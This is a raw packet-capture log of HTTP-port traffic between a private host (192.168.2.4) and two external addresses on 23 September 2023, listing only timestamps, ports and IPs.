Sep 23, 2023 17:53:22.383069038 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.383110046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.383143902 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.394577026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.394593954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.394706964 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.400696039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.400763988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.400775909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.403031111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.403116941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.403136969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.410633087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.410650015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.410758018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.422775030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.422816992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.422873974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.431901932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.431953907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.431977034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.434142113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.434297085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.434345961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.438488960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.438548088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.438551903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.442152023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.442200899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.442238092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.446321011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.446386099 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.450301886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.450324059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.450391054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.454025030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.454077005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.454128981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.457781076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.457865953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.457921028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.461407900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.461443901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.461568117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.463574886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.463639975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.463699102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.464776993 CEST	80	49787	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:22.464791059 CEST	80	49787	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:22.464832067 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:22.464868069 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:22.466564894 CEST	49787	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:22.466828108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.466906071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.466955900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.470369101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.470405102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.470464945 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.474003077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.474050045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.474103928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.475168943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.475233078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.475287914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.477853060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.477932930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.477997065 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.480485916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.480509996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.480572939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.483161926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.483222961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.483279943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.485718966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.487086058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.487143040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.487160921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.489589930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.489655972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.489666939 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.492166042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.492254019 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.492271900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.494724035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.494779110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.494823933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.497389078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.497440100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.497473001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.499958992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.500026941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.500047922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.502504110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.502521992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.502607107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.504977942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.505052090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.505095005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.507483006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.507529974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.507560968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.510040998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.510085106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.510139942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.512432098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.512478113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.512527943 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.514986992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.515032053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.515108109 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.517527103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.517637968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.518625975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.518668890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.518800974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.521193027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.521246910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.521348953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.523536921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.523626089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.523719072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.525904894 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.525933027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.526062012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.528548956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.528595924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.528707027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.530801058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.530852079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.530985117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.533263922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.533281088 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.533389091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.535587072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.535660028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.535767078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.537925959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.537985086 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.538063049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.540191889 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.540262938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.540421963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.542490005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.542506933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.542593956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.544612885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.544965982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.545020103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.547034025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.548106909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.548152924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.548171997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.550209999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.550251007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.550282955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.552359104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.552428007 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.552462101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.554630995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.554692030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.554692030 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.556771040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.556823969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.556833029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.558799028 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.558835983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.558857918 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.561028004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.561069965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.561150074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.563030005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.563071966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.563086987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.565068007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.565108061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.565134048 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.567326069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.567389011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.567414045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.569282055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.569339991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.569355011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.571269035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.571309090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.571333885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.573342085 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.573400021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.574326992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.574398994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.574450970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.576349974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.576406956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.576456070 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.578342915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.578387022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.578437090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.580297947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.580338001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.580388069 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.582319021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.582392931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.582443953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.584219933 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.584320068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.584367990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.586167097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.586270094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.586313963 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.588306904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.588365078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.588407040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.590187073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.590240002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.590281010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.591758013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.591835022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.591876984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.593378067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.593472004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.593512058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.595010996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.595063925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.595102072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.596596003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.597650051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.597697020 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.597723961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.598845959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.598907948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.598917961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.600624084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.600677013 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.600693941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.602071047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.602123976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.602134943 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.603657007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.603710890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.603717089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.605374098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.605421066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.605437040 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.606990099 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.607033968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.607040882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.608815908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.608879089 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.608905077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.610251904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.610318899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.610323906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.612126112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.612163067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.612196922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.613585949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.613650084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.613737106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.614886999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.614939928 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.614964008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.616137981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.616183996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.616854906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.616929054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.616972923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.618133068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.618206024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.618253946 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.619414091 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.619468927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.619514942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.620852947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.620930910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.620980024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.622271061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.622333050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.622385025 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.623840094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.623878002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.623924971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.625153065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.625169992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.625219107 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.626518965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.626607895 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.626651049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.627950907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.628002882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.628053904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.629185915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.629261017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.629302979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.630768061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.630784988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.630829096 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.631983995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.632086039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.632136106 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.633366108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.634052992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.634094000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.634116888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.635349035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.635396957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.635404110 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.636782885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.636830091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.636862040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.638151884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.638199091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.638220072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.639550924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.639607906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.639620066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.640755892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.640810966 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.640846968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.642154932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.642214060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.642349005 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.643481016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.643526077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.643547058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.644857883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.644903898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.644925117 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.646143913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.646186113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.646204948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.647574902 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.647635937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.647686005 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.648899078 CEST	80	49781	5.42.65.80	192.168.2.4
